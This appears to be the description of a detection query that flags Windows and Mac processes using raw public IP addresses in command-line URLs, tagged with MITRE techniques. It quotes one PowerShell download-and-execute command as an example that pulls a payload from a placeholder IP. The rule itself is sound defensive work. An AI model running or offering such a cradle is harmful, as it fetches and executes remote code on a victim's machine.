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Detection of External Direct IP Usage in CommandLine Windows and Mac

Detection of External Direct IP Usage This query detects Windows processes that utilize raw public IP addresses within HTTP/HTTPS URLs in their command-line arguments (e.g., powershell -c IEX(New-Object Net.WebClient).DownloadString('http://1.2.3.4/payload')). This behavior is highly suspicious because legitimate software typically uses domain names (DNS). Attackers often use direct public IPs to host second-stage payloads or C2 servers to bypass DNS filtering and logging mechanisms.

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Detection_of_External_Direct_IP_Usage_in_CommandLine_Windows_and_Mac.yml
T1105, T1059, T1071.001
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